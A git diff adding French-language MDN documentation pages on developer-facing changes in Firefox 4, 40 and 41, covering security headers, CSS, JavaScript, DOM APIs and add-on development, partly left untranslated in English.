Content Security Policy (CSP) est une proposition de Mozilla, conçu pour aider les concepteurs de sites Web et les administrateurs de serveur en spécifiant comment le contenu sur leurs sites Web agit. L'objectif est d'aider à détecter et à atténuer les attaques incluant le cross-site scripting et des attaques par injection de données.
+
HTTP Strict Transport Security
+
HTTP Strict Transport Security est un dispositif de sécurité qui permet à un site web d'indiquer au navigateur d'utiliser une connexion sécurisée (HTTPS) à la place du protocole HTTP.
+
L'en-tête de réponse X-FRAME-OPTIONS
+
L'en-tête de réponse X-FRAME-OPTIONS HTTP introduite dans Internet Explorer 8 est désormais supportée par Firefox. Cela permet aux sites d'indiquer si leurs pages peuvent être utilisées dans des frames ou si l'utilisation de la page doit être restreint.
+
Changement de la chaîne de l'agent utilisateur
+
C'est un moyen de réduire la quantité et l'entropie des données envoyées dans les requêts HTPP (voir bug 572650), le niveau de cryptage et le signe de la langue ont été enlevés de la chaîne de l'agent utilisateur.
+
+ +

JavaScript

+ +

Pour un aperçu des changements effectués dans JavaScript 1.8.5, voir New in JavaScript 1.8.5. Dans Firefox 4, JavaScript a un plus grand respect de la norme ECMAScript 5.

+ +

Outils pour les développeurs

+ +
+
Utilisation de la Console Web
+
La Console Web est un outil qui aide le débogage.
+
+ +
+
+Gecko 2.0 note +
(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)
+
+ +

A partir de Firefox 4, la Console d'erreurs est désactivée par défaut. Vous pouvez la ré-activer en modifiant la préférence devtools.errorconsole.enabled à true et en redémarrant le navigateur.

+
+ +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Pour des conseils utiles sur la mise à jour des extensions existantes pour Firefox 4, voir Updating extensions for Firefox 4. Il y a plusieurs changements importants qui cassent la compatibilité avec les add-ons, donc n'oubliez pas de lire cet article.

+ +

Si vous développez des thèmes, vous devez lire Theme changes in Firefox 4 afin de connaître certains changements importants.

+ +

Modules de code JavaScript

+ +
+
Services.jsm
+
Le module de code Services.jsm fournit des accesseurs qui font qu'il est facile d'obtenir des références sur les services couramment utilisés, tels que le service de préférences ou le médiateur fenêtre.
+
API JS-ctypes
+
L'API JS-ctypes permet d'appeler une bibliothèque de fonctions étrangère C-compatible sans utiliser XPCOM.
+
Gestionnaire de modules complémentaires
+
Le nouveau gestionnaire de modules complémentaires fournit des informations sur les modules, permet la modifications des options, l'installation et la suppression des modules.
+
PopupNotifications.jsm
+
Le nouveau module des notifications popup facilite la présentation des notifications non-modales. Vous pouvez voir comment utiliser cette API dans Using popup notifications.
+
Chargement des modules de code à partir des URLs chrome:
+
Vous pouvez maintenant charger des modules de code à partir d'URLs chrome:, même à l'intérieur de fichiers JAR.
+
DownloadLastDir.jsm
+
Le module de code DownloadLastDir.jsm fournit la variable gDownloadLastDir qui contient une chaîne qui permet de connaître le chemin du répertoire dans lequel le dernier téléchargement s'est produit. Ce module gère les questions liées à la navigation privée.
+
Mesurer les performances en utilisant le module de code PerfMeasurement.jsm code module
+
Le module de code PerfMeasurement.jsm propose une API qui mesure les performances au niveau du CPU dans du code JavaScript.
+
+ +

Divers changements dans les modules de code

+ + + + + +

Changements DOM

+ +
+
ChromeWorker
+
Un nouveau type de travailleur pour du code privilégié, ce qui permet l'utilisation de choses comme js-ctypes à partir des travailleurs dans les extensions et le code d'une application.
+
Evènements tactile
+
Ajout du support de l'évènement tactile (non-standard), cela permet de pouvoir suivre plusieurs doigts qui se déplacent en même temps sur un écran tactile.
+
+ +

Autres changements DOM

+ +
    +
  • La nouvelle notification "document-element-inserted" est envoyée quand un élément racine d'un document est crée, mais tous les scripts sont exécutés avant.
    • +
+ +
+
+ +

XUL

+ +

Changements pour l'élément tabbrowser

+ +

Plusieurs changements ont été apportés à l'élément <xul:tabbrowser> ce qui impacte les extensions qui interagissent avec les onglets. En plus du support de app tabs, ces changements on aussi modifiés la barre d'onglet en une barre d'outils standard, ce qui permet à l'utilisateur de faire glisser les boutons dans la barre d'outils.

+ +
    +
  • Les évènements TabClose, TabSelect et TabOpen non plus de bulle jusqu'à l'élément <xul:tabbrowser> (gBrowser). Les récepteurs d'évènements pour ces évènements doivent être ajoutés à gBrowser.tabContainer plutôt qu'à gBrowser directement.
    • +
  • Le menu contextuel d'un onglet n'est plus un enfant anonyme de <xul:tabbrowser>. Il peut donc être surposé directement avec overlays XUL. On peut également y accéder directement depuis JavaScript via gBrowser.tabContextMenu. Voir cet article pour plus de détails.
    • +
  • La nouvelle propriété visibleTabs a été ajoutée pour vous permettre de faire un tableau des onglets visibles, cela vous permet de déterminer quels onglets seront visibles dans l'ensemble de l'onglet courant. Par exemple, par Firefox Panorama l'utilise.
    • +
  • La nouvelle méthode showOnlyTheseTabs a été ajoutée, elle est utilisée Firefox Panorama.
    • +
  • Ajout de la nouvelle méthode showOnlyTheseTabs, qui est utilisée par Firefox Panorama.
    • +
  • Ajout de la nouvelle méthode getIcon, qui vous permet d'obtenir le favicon d'un onglet sans avoir besoin de le remonter de l'élément <xul:browser>.
    • +
  • Ajout de la nouvelle propriété tabbrowser.tabs, qui vous permet d'obtenir facilement une liste des onglets dans l'élement <xul:tabbrowser>.
    • +
  • Les nouvelles méthodes pinTab et unpinTab vous permettent d'épingler et de relâcher des onglets (pour faire la différence entre les onglets normaux et ceux utilisés régulièrement).
    • +
  • Ajout de la méthode getTabModalPromptBox et de l'attribut tabmodalPromptShowing à <xul:tabbrowser> pour le support des alertes majeures des onglets.
    • +
+ +

Changements pour les popups

+ +
    +
  • L'élément <xul:popup> n'est plus supporté, vous devez utilisez <xul:menupopup> à la place. (Si vous continuez à utiliser popup, vous allez rencontrer des problèmes, car l'élément n'a plus de signification particulière. par exemple, <xul:menuseparator> peut apparaître transparent lorsqu'il est utilisé avec <xul:popup>.)
    • +
  • L'élément XUL <xul:menupopup> a maintenant une propriété triggerNode, qui indique le noeud sur lequel l'évènement s'est produit et qui a causé l'ouverture de la popup. Cela a aussi nécessité l'ajout d'un paramètre de l'événement déclencheur de la méthode openPopup. En plus de ça, la propriété anchorNode a été ajoutée, elle renvoie l'ancre spécifiée lorsque la popup a été créé.
    • +
  • L'élément <xul:panel> propose maintenant les attributs panel.fade et panel.flip, qui sont utilisés pour configurer le comportement de la nouvelle "flèche" des panneaux de notification de style.
    • +
+ +

Suppression du support à distance de XUL

+ +

Le support à distance de XUL n'est plus supporté, cela affecte les documents XUL qui étaient servis par HTTP, en outre, vous ne pouvez plus charger des documents XUL en utilisant l'URL file:// sauf en créant une préférence dom.allow_XUL_XBL_for_file avec la valeur true. Cependant, il y a une fonctionnalité de liste blanche qui peut être utilisée pour permettre à des domaines spécifiques de charger XUL à distance. L'extension Remote XUL Manager vous permet de gérer cette liste blanche.

+ +

Divers changements XUL

+ +
    +
  • L'attribut readonly fonctionne désormais correctement pour les champs XBL.
    • +
  • L'élément <xul:resizer> vous permet désormais d'utiliser l'attribut element pour spécifier l'élément à redimensionner, au lieu de redimensionner la fenêtre.
    • +
  • L'élément <xul:resizer> a maintenant un attribut type qui vous permet de spécifier que le redimensionnement est pour la fenêtre au lieu d'un élément, pour également empêcher de redimensionner deux fois une fenêtre en cours de préparation.
    • +
  • L'attribut "active" n'est plus accessible sur les fenêtres XUL actives. A la place, vous pouvez utilisez la nouvelle pseudo-classe :-moz-window-inactive afin d'attribuer différents styles aux fenêtres en arrière-plan.
    • +
  • L'attribut emptytext est désormais obsolète, vous devez utiliez placeholder à la place.
    • +
  • L'élément <xul:window> propose maintenant un attribut accelerated ; quand il est vrai, le gestionnaire de la couche matérielle est autorisé à accélérer la fenêtre.
    • +
  • L'élément <xul:stack> supporte maintenant les attributs bottom et right.
    • +
  • Les évènements sont maintenant tirés lors de la personnalisation de <xul:toolbox>, vous permettant de détecter les changements sur les barres d'outils.
    • +
  • L'attribut alternatingbackground pour l'élément <xul:tree>n'est plus supporté, à la place, vous pouvez utiliser la pseudo-classe :-moz-tree-row.
    • +
  • Le dépassement du bouton de la barre d'outils des Favoris avec anonid chevronPopup n'est plus anonyme, il a l'ID "PlacesChevron".
    • +
  • L'élément <xul:tabs> a maintenant la propriété tabbox, en remplacement de l'ancienne propriété _tabbox, qui a été abandonnée (et n'a jamais été documentée).
    • +
  • Les éléments XUL <xul:window> ont maintenant l'attribut drawintitlebar, si il a la valeur true, la zone de contenu de la fenêtre qui comprend la barre de titre, permet de dessiner dans la barre de titre.
    • +
  • De nouveaux évènements sont disponibles : TabPinned et TabUnpinned, vous permettant de détecter quand des onglets sont épinglés ou relâchés.
    • +
  • le nouvel évènement TabAttrModified event est envoyé lorsque l'un des attributs (label, crop, busy, image, ou selected) d'un onglet change.
    • +
  • Les éléments <xul:tab> ont maintenant l'attribut pinned, qui vous permet de savoir si un onglet est actuellement épinglé.
    • +
  • La classe setDirectionIndicator sur les éléments <xul:tree> n'a rien fait depuis un certain temps et maintenant elle n'est plus du tout utilisée.
    • +
  • L'élément <xul:window> possède maintenant l'attribut chromemargin qui vous permet de définir la marge entre le chrome et le contenu de chaque côté d'une fenêtre.
    • +
  • L'élément <xul:window> possède maintenant l'attribut disablechrome, il est utilisé pour cacher la plupart du chrome dans une fenêtre, comme pour about:addons.
    • +
  • L'élément <xul:window> possède maintenant l'attribut disablefastfind, qui vous permet de désactiver la barre de recherche dans une fenêtre lorsque le contenu ne le supporte pas. Il est par exemple utilisé par le panneau de gestion des modules complémentaires.
    • +
  • Les barres d'outils peuvent maintenant être externe aux boîtes à outils, tout en restant considérée comme un membre de <xul:toolbox>, en configurant la propriété toolboxid de <xul:toolbar>. De plus, l'élément <xul:toolbox> a maintenant une propriété externalToolbars, qui liste toutes les barres d'outils qui sont considérées comme des membres de la boîte à outils.
    • +
  • Ajout du support pour la connexion de templates XUL pour permettre un débogage .
    • +
+ +

Changements dans l'UI affectant les développeurs

+ +
+
La barre d'add-on
+
La barre d'état a été supprimée en faveur de la nouvelle barre d'add-on. Vous devrez mettre à jour votre extension l'utiliser cette option si vous aviez ajouté l'UI de la barre d'état avant.
+
Cacher le chrome du navigateur
+
Vous pouvez désormais cacher le chrome du navigateur quand il est souhaitable de le faire, par exemple, about:addons le fait.
+
+ +

Storage

+ +

Divers changement dans l'API Storage

+ + + +

XPCOM

+ +

En plus des changements spécifiques référencés ci-dessous, il est important de noter qu'il n'y a plus aucune interfaces gelées. Elles sont toutes dégelées maintenant, indépendamment de ce que peut indiquer la documentation. Nous mettrons à jour la documentation au fil du temps.

+ +
+
Changements d'XPCOM dans Gecko 2.0
+
Détails sur les modifications d'XPCOM qui impactent la compatibilité dans Firefox 4.
+
Components.utils.getGlobalForObject()
+
Cette nouvelle méthode retourne l'objet global avec lequel un objet est associé, ce qui remplace un cas d'utilisation commun de __parent__ qui est désormais retiré.
+
+ +

Places

+ +
    +
  • Les résultats de la requête peuvent maintenant être observés par plusieurs observateurs, et les requêtes peuvent être exécutées de manière asynchrone. Cela signifie qu'il y a eu des changements dans les interfaces nsINavHistoryResult, nsINavHistoryQueryOptions et nsINavHistoryContainerResultNode. De plus, l'interface nsINavHistoryResultViewer a été renommée en nsINavHistoryResultObserver.
    • +
  • De nouvelles notifications ont été ajoutées pour permettre au navigateur de suivre la procédure d'arrêt du service Places de manière plus fiable. Parmi celles-ci, la plupart sont pour un usage interne uniquement, mais la notification places-connection-closed est disponible pour savoir quand le service Places a terminé sont processus d'arrêt.
    • +
  • Le paramètre de sortie de la taille d'un tableau sur plusieurs méthodes Places est désormais optionnel.
    • +
  • Le support de <menupopup type="places"> a été supprimé. A la place, vous devez créer et remplir un menu avec ds informations Places manuellement, plutôt que de l'avoir fait pour vous. Voir Displaying Places information using views: Menu view pour plus de détails.
    • +
+ +

Changements dans les interfaces

+ + + +

Gestion de la mémoire

+ +
+
Allocation infaillible de la mémoire
+
Mozilla propose désormais des répartiteur de mémoire infaillible qui sont garantis de ne pas retouner null. Vous devriez lire cet article pour connaitre leur fonctionnement et savoir comment demander l'allocation de la mémoire.
+
+ +

Autres changements

+ +
    +
  • La plupart des ressources que Firefox contient ont été combinées dans une seule archive JAR (omni.jar), ce qui améliore les performances au démarrage en réduisant l'I/O. Pour plus de détails, lisez About omni.jar.
    • +
  • La préférence accessibility.disablecache n'est plus supportée, elle a seulement été utilisée à des fins de débogage et n'est plus employée.
    • +
  • Les extensions dont le GUID change d'une version à une autre peuvent maintenant être mise à jour correctement.
    • +
  • As a side effect of the removal of platform-specific directories in add-on bundles, you can no longer provide different default preferences for each platform.
    • +
  • Par défaut, les extensions ne sont plus décompressées quand elles sont installées, mais sont plutôt exécutées directement à partir du fichier XPI. Les extensions peuvent utiliser la propriété unpack dans le manifeste d'installation pour choisir l'ancien comportement. Les extensions qui utilisent des composants binaires, des DLLs chargées avec js-ctypes, des plugins de recherche, des dictionnaires et une fenêtre d'icônes doivent préciser ce dont elles ont besoin pour être décompressées. Les extensions qui créent des bases de données SQLite, ou font des copies de fichiers du système relatifs au répertoire de l'extension, peuvent aussi avoir besoin de modifier leur code.
    • +
  • You may now include extensions that automatically get installed at application startup within a customized Firefox.
    • +
+ +

Autres changements

+ +
+
Seul le fichier chrome.manifest racine est chargé
+
maintenant seul le fichier chrome.manifest racine est chargé ; si vous avez besoin de fichiers manifestes secondaires à charger, vous pouvez utilisez la commande manifest dans votre fichier chrome.manifest racine pour les charger.
+
Suppression du support de Gopher
+
Le protocole Gopher n'est plus supporté nativement. L'extension OverbiteFF permet de continuer à le supporter.
+
Gestion des évènement du processus Content
+
Pour le support des plugins hors du processus et les multiples processus caractéristiques, une nouvelle API a été mise en place pour permettre l'envoi de messages dans les processus.
+
Bootstrap des extensions
+
Vous pouvez désormais créer des extensions qui peuvent être installées, désinstallées et mises à jour sans nécessiter le redémarrage du navigateur.
+
Suppression des plugins par défaut
+
The default plugin has been removed. The application plugins folder has also been removed by default, however support for installing plugins via this folder still exists. Voir bug 533891.
+
Extension Manager remplacé par Addon Manager
+
nsIExtensionManager a été remplacée par AddonManager.
+
Child HWNDs n'est plus utilisé
+
Firefox ne créé plus de child HWNDs pour son usage interne sous Windows. Si vous avez codé une extension qui utilise du code natif pour manipuler ces HWNDs, votre extensions ne fonctionnera pas dans Firefox 4. Soit vous devez arrêter l'utilisation de HWND ou soit mettre votre code reposant sur HWND dans un plugin NPAPI. C'est un gros travail, alors si vous pouviez éviter d'utiliser HWND directement.
+
Changements dans les gestes
+
Les gestes par défaut ont été changés, en faisant glisser trois doigts de haut en bas sur le trackpad cela ouvrira ou fermera Firefox Panorama. Pour modifier les éléments précédents, afin d'avoir les commandes de défilement haut et défilement bas, ouvrez about:config et mettez cmd_scrollBottom pour browser.gesture.swipe.down et cmd_scrollTop pour browser.gesture.swipe.up.
+
+ +

Voir également

+ +
+ +
diff --git a/files/fr/mozilla/firefox/releases/40/index.html b/files/fr/mozilla/firefox/releases/40/index.html new file mode 100644 index 0000000000..82eb7fa6a7 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/40/index.html @@ -0,0 +1,198 @@ +--- +title: Firefox 40 pour développeurs +slug: Mozilla/Firefox/Versions/40 +translation_of: Mozilla/Firefox/Releases/40 +--- +
{{FirefoxSidebar}}
To test the latest developer features of Firefox,
+install Firefox Developer Edition Firefox 40 was released on August 11, 2015. This article lists key changes that are useful not only for web developers, but also Firefox and Gecko developers as well as add-on developers.
+ +

Changements pour les développeurs Web

+ +

Outils pour Développeurs

+ +

Nouveautés:

+ + + +

More:

+ + + +

Autres: Tous les bugs devtools corrigés depuis Firefox 39 et Firefox 40.

+ +

 

+ +

CSS

+ +
    +
  • Règles de préfixe (-moz-) pour {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, et {{cssxref("text-decoration-style")}} ont été supprimé ({{bug(1097922)}}).
    • +
  • La propriété {{cssxref("text-align")}} supporte dorénavant la valeur match-parent bug(645642)}}).
    • +
  • Dans le mode Quirks, {{cssxref("empty-cells")}} a pour valeur par défaut show, comme dans le mode standard ({{bug(1020400)}}).
    • +
  • La propriété non standard {{cssxref("-moz-orient")}}, utilisée pour faire un rendu sur les éléments {{HTMLElement('meter')}} et {{HTMLElement('progress')}} a été adaptée pour les modes d'écriture verticales: la valeur auto a été supprimée et les valeurs inline et  block ajoutées, avec inline comme nouvelle valeur par défaut {{bug(1028716)}}).
    • +
+ +

HTML

+ +

pas de changement.

+ +

JavaScript

+ +
    +
  • Unreachable code after {{jsxref("Statements/return", "return")}} statement (including unreachable expression after {{jsxref("Statements/return", "semicolon-less return statements", "#Automatic_semicolon_insertion", 1)}}) will now show a warning in the console ({{bug(1005110)}}, {{bug(1151931)}}).
    • +
  • {{jsxref("Symbol.match")}} a été ajouté ({{bug(1054755)}}).
    • +
  • Passing an object which has a property named {{jsxref("Symbol.match")}} with a {{Glossary("truthy")}} value to {{jsxref("String.prototype.startsWith")}}, {{jsxref("String.prototype.endsWith")}}, and {{jsxref("String.prototype.contains")}} now throws a {{jsxref("TypeError")}} ({{bug(1054755)}}).
    • +
  • {{jsxref("RegExp")}} function returns pattern itself if called without {{jsxref("Operators/new", "new")}} and pattern object has a property named {{jsxref("Symbol.match")}} with a {{Glossary("truthy")}} value, and the pattern object's constructor property equals to  {{jsxref("RegExp")}} function. ({{bug(1147817)}}).
    • +
  • Support for the non-standard JS1.7 destructuring for-in has been dropped ({{bug(1083498)}}).
    • +
  • Les initialiseurs d'expression non-standard dans les boucles for...in sont dorénavant ignorés et seront indiqués par un avertissement dans la console. ({{bug(748550)}} et {{bug(1164741)}}).
    • +
  • \u{xxxxxx} Unicode code point escapes have been added ({{bug(320500)}}).
    • +
  • {{jsxref("String.prototype.includes", "String.prototype.contains", "#String.prototype.contains")}} has been replaced with {{jsxref("String.prototype.includes")}}, String.prototype.contains is kept as an alias ({{bug(1102219)}}).
    • +
  • If the {{jsxref("DataView")}} constructor is called as a function without the {{ jsxref("Operators/new", "new") }} operator, a {{jsxref("TypeError")}} is now thrown as per the ES6 specification.
    • +
  • An issue regressed in Firefox 21, where proxyfied arrays without the get trap were not working properly, has been fixed. If the get trap in a {{jsxref("Proxy")}} was not defined, {{jsxref("Array.length")}} returned 0 and the set trap didn't get called. A workaround was to add the get trap even if was not necessary in your code. This issue has been fixed now ({{bug(895223)}}).
    • +
  • {{jsxref("WeakMap.prototype")}} and {{jsxref("WeakSet.prototype")}} have been updated to be just ordinary objects, per ES6 specification ({{bug(1055473)}}).
    • +
  • The {{jsxref("RegExp.prototype.source")}} property is now prototype accessor property rather than own data property of RegExp instances ({{bug(1120169)}}, {{bug(1150297)}}).
    • +
+ +

Interfaces/APIs/DOM

+ +

Nouvelles APIs

+ + + +

Web Animations API

+ +

Amélioration de notre implémentation des animations Web expérimentales, principalement mostley to match latest spec changes:

+ +
    +
  • {{domxref("AnimationPlayer.currentTime")}} now can also be set ({{bug(1072037)}}).
    • +
  • Animatable.getAnimationPlayers(), available on {{domxref("Element")}} has been renamed to {{domxref("Element.getAnimations()")}} ({{bug(1145246)}}).
    • +
  • Animation and AnimationEffect have been merged into the newly created {{domxref("KeyframeEffectReadOnly")}} ({{bug(1153734)}}).
    • +
  • AnimationPlayer has been renamed to {{domxref("Animation")}} ({{bug(1154615)}}).
    • +
  • {{domxref("AnimationTimeline")}} is now an abstract class, with {{domxref("DocumentTimeline")}} its only implementation ({{bug(1152171)}}).
    • +
+ +

CSSOM

+ +
    +
  • The CSS Font Loading API is now enabled by default in Nightly and Developer Edition releases ({{bug(1088437)}}). It is still deactivated by default in Beta and Release browsers.
    • +
  • The CSSCharsetRule interface has been removed and such objects are no longer available in CSSOM ({{bug(1148694)}}). This matches the spec (recently adapted) and Chrome behavior.
    • +
+ +

WebRTC

+ +
    +
  • WebRTC: the {{event("negotiationneeded")}} event is now also sent for initial negotiations, not only for re-negotiations ({{bug(1149838)}}).
    • +
+ +

DOM & HTML DOM

+ +
    +
  • When unable to parse the {{htmlattrxref("srcset", "image")}},  the {{domxref("HTMLImageElement.currentSrc")}} method doesn't return null anymore but "", as requested by the latest specification ({{bug(1139560)}}).
    • +
  • Like for images, Firefox now throttle {{domxref("Window.requestAnimationFrame()")}} for non-visible {{HTMLElement("iframe")}} ({{bug(1145439)}}).
    • +
  • {{domxref("Navigator.taintEnabled")}} is no longer available for Web workers ({{bug(1154878)}}).
    • +
  • The read-only properties {{domxref("MouseEvent.offsetX")}} and {{domxref("MouseEvent.offsetY")}} have been implemented {{bug("69787")}}.
    • +
+ +

Web Audio API

+ +

Nouvelles extensions pour l'API Web Audio:

+ +
    +
  • The {{domxref("AudioContext.state")}} and {{domxref("AudioContext.onstatechange")}} properties as well as the methods {{domxref("AudioContext.suspend()")}}, {{domxref("AudioContext.resume()")}}, and {{domxref("AudioContext.close()")}} have been added ({{bug(1094764)}}).
    • +
  • {{domxref("AudioBufferSourceNode")}} now implements the {{domxref("AudioBufferSourceNode.detune")}} k-rate attribute ({{bug(1153783)}}).
    • +
+ +

Web Workers

+ +
    +
  • Légère amélioration dans notre API Service Worker : la méthode {{domxref("ServiceWorkerRegistration.update()", "update()")}} a été changée de {{domxref("ServiceWorkerGlobalScope")}} vers {{domxref("ServiceWorkerRegistration")}} ({{bug(1131350)}}).
    • +
  • {{domxref("ServiceWorkerRegistration")}} est maintenant disponible dans les Web workers ({{bug("1131327")}}).
    • +
  • {{domxref("DataStore")}} est maintenant disponible dans les Web workers ({{bug(916196)}}).
    • +
+ +

IndexedDB

+ +
    +
  • {{domxref("IDBTransaction")}} sont maintenant temporaire par default. bug(1112702)}}). Cela privilegie les performances par rapport a la fiabilité et est en phase les autres navigateurs. Pour plus d'information, lire notre durability definition.
    • +
+ +

Dev Tools

+ +
    +
  • La propriété {{domxref("Console.timeStamp")}} a été ajoutée ({{bug(922221)}}).
    • +
+ +

MathML

+ +

pas de changement.

+ +

SVG

+ +

pas de changement.

+ +

Audio/Video

+ +

pas de changement.

+ +

Networking

+ +

pas de changement.

+ +

Security

+ +
    +
  • L'utilisation d'un asterisk (*) dans {{Glossary("CSP")}} n'inclus plus le schema data:, blob: or :filesystem lors de la comparaison des expressions sources. Ces schemas doivent dorénavant etre définis explicitement dans l'entete concernée afin de correspondre au CSP ({{bug(1086999)}}).
    • +
+ +

Changes for add-on and Mozilla developers

+ +

XUL

+ +

pas de changement.

+ +

JavaScript code modules

+ +
    +
  • Dict.jsm a été supprimé {{bug(1123309)}}. Veuillez utiliser {{jsxref("Map")}} en remplacement.
    • +
+ +

XPCOM

+ +

No change.

+ +

Other

+ +
    +
  • Places Keywords API has been deprecated and will be removed soon ({{bug(1140395)}}).
    • +
+ +

See also

+ + + +

Older versions

+ +

{{Firefox_for_developers('39')}}

diff --git a/files/fr/mozilla/firefox/releases/40/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/40/site_compatibility/index.html new file mode 100644 index 0000000000..cbe82d4b21 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/40/site_compatibility/index.html @@ -0,0 +1,13 @@ +--- +title: Compatibilité des sites avec Firefox 40 +slug: Mozilla/Firefox/Versions/40/Site_Compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 40 + - FxSiteCompat + - Guide +translation_of: Mozilla/Firefox/Releases/40/Site_Compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/41/index.html b/files/fr/mozilla/firefox/releases/41/index.html new file mode 100644 index 0000000000..8ad0302211 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/41/index.html @@ -0,0 +1,198 @@ +--- +title: Firefox 41 pour développeurs +slug: Mozilla/Firefox/Versions/41 +tags: + - Firefox + - Versions +translation_of: Mozilla/Firefox/Releases/41 +--- +
{{FirefoxSidebar}}
To test the latest developer features of Firefox,
+install Firefox Developer Edition Firefox 41 was released on September 22, 2015. This article lists key changes that are useful not only for web developers, but also Firefox and Gecko developers as well as add-on developers.
+ +

Changements pour les développeurs Web

+ +

Outils pour Développeurs

+ +

Nouveautés:

+ + + +

All devtools bugs fixed between Firefox 40 and Firefox 41: note that many of these bugs, especially those relating to the performance tools, were uplifted to Firefox 40.

+ +

CSS

+ +
    +
  • Support for laying out vertical scripts has been activated by default ({{bug(1138384)}}). That means that the following CSS properties are now available: +
      +
    • Choosing the direction of writing: {{cssxref("writing-mode")}}.
      • +
    • Controlling orientation of characters: {{cssxref("text-orientation")}}.
      • +
    • Direction-independent equivalents of {{cssxref("width")}} and {{cssxref("height")}}: {{cssxref("block-size")}} and {{cssxref("inline-size")}}.
      • +
    • Direction-independent equivalents of {{cssxref("min-width")}} and {{cssxref("min-height")}}: {{cssxref("min-block-size")}} and {{cssxref("min-inline-size")}}.
      • +
    • Direction-independent equivalents of {{cssxref("max-width")}} and {{cssxref("max-height")}}: {{cssxref("max-block-size")}} and {{cssxref("max-block-size")}}.
      • +
    • Direction-independent equivalents of {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} and {{cssxref("margin-left")}}: {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}}, {{cssxref("margin-inline-start")}} and {{cssxref("margin-inline-end")}}.
      • +
    • Direction-independent equivalents of {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} and {{cssxref("padding-left")}}: {{cssxref("padding-block-start")}}, {{cssxref("padding-block-end")}}, {{cssxref("padding-inline-start")}} and {{cssxref("padding-inline-end")}}.
      • +
    • Direction-independent equivalents of {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} and {{cssxref("border-left")}} and their longhands for width, style and color: {{cssxref("border-block-start")}}, {{cssxref("border-block-start-width")}}, {{cssxref("border-block-start-style")}}, {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end")}}, {{cssxref("border-block-end-width")}}, {{cssxref("border-block-end-style")}}, {{cssxref("border-block-end-color")}}, {{cssxref("border-inline-start")}}, {{cssxref("border-inline-start-width")}}, {{cssxref("border-inline-start-style")}}, {{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end")}}, {{cssxref("border-inline-end-width")}}, {{cssxref("border-inline-end-style")}} and {{cssxref("border-inline-end-color")}}.
      • +
    • Direction-independent equivalents of {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} and {{cssxref("left")}}: {{cssxref("offset-block-start")}}, {{cssxref("offset-block-end")}}, {{cssxref("offset-inline-start")}} and {{cssxref("offset-inline-end")}}.
      • +
    +
    • +
+ +

HTML

+ +
    +
  • {{HTMLElement("a")}} without an href attribute is no longer classified as interactive content. Clicking it inside {{HTMLElement("label")}} will activate labelled content ({{bug(1167816)}}).
    • +
  • SVG icons are now supported for site icons, that is favicons and shortcut icons ({{bug(366324)}}).
    • +
  • The {{htmlattrxref('crossorigin', 'link')}} attribute is now supported for <link rel='preconnect'> ({{bug(1174152)}}).
    • +
+ +

JavaScript

+ +
    +
  • {{jsxref("Date.prototype")}} is now an ordinary object, not a {{jsxref("Date")}} instance anymore ({{bug(861219)}}).
    • +
  • {{jsxref("Date.prototype.toString")}} is now a generic method ({{bug(861219)}}).
    • +
  • {{jsxref("Symbol.species")}} has been added ({{bug(1131043)}}).
    • +
  • {{jsxref("Map.@@species", "Map[@@species]")}} and {{jsxref("Set.@@species", "Set[@@species]")}} getters have been added ({{bug(1131043)}}).
    • +
  • Non-standard {{jsxref("Statements/let", "let expression", "#let_expressions", 1)}} support has been dropped ({{bug(1023609)}}).
    • +
  • {{jsxref("Functions/Default_parameters", "Destructured parameters with default value assignment", "#Destructured_parameter_with_default_value_assignment", 1)}} are now supported ({{bug(1018628)}}).
    • +
  • Per ES6, curly braces are required for method definitions. Syntax without them will fail from now on ({{bug(1150855)}}).
    • +
  • Method definitions (except for generator methods) are not constructable anymore ({{bug(1059908)}} and {{bug(1166950)}}).
    • +
  • As part of ES6 specification compliance, parenthesized destructuring patterns, like ([a, b]) = [1, 2] or ({a, b}) = { a: 1, b: 2 }, are now considered invalid and will throw a {{jsxref("SyntaxError")}}. See Jeff Walden's blog post for more details.
    • +
  • The new.target syntax has been added ({{bug(1141865)}}).
    • +
+ +

Interfaces/APIs/DOM

+ +

HTML Editing API

+ +
    +
  • Cut, copy and paste commands handling has been revamped and now allow programmatic copying and cutting from JS for Web content: +
      +
    • With the 'paste' command as argument, {{domxref("Document.queryCommandSupported()")}} now returns false if has insufficient privileges to actually perform the action ({{bug(1161721)}}).
      • +
    • With the 'cut' or 'copy' command as argument, {{domxref("Document.queryCommandSupported()")}} now returns true if called within the context of a user-initiated or privileged code ({{bug(1162952)}}).
      • +
    • With the 'cut' or 'copy' command as argument, {{domxref("Document.execCommand()")}} now works, but only within the context of user-initiated or privileged code ({{bug(1012662)}}).
      • +
    +
    • +
+ +

Events

+ +
    +
  • The non-standard {{domxref("CloseEvent.initCloseEvent()")}} method and the ability to create a {{domxref("CloseEvent")}} using the {{domxref("Event.createEvent", "Event.createEvent('CloseEvent')")}} method has been removed; use the standard constructor, {{domxref("CloseEvent.CloseEvent", "CloseEvent()")}} instead ({{bug(1161950)}}).
    • +
  • On Desktop, {{domxref("PointerEvent")}} is now activated by default in Nightly; it is not activated in Developer Edition, Beta or Release and won't be for at least some versions ({{bug(1166347)}}).
    • +
  • The unprefixed version of {{domxref("MouseEvent.movementX")}} and {{domxref("MouseEvent.movementY")}}}} have been added; the prefixed versions are deprecated and will be removed at some point in the future ({{bug(1164981)}}).
    • +
+ +

Web Crypto

+ +
    +
  • {{domxref("SubtleCrypto.importKey()")}} and {{domxref("SubtleCrypto.exportKey()")}} now supports ECDH keys ({{bug(1050175)}}).
    • +
+ +

Canvas API

+ +
    +
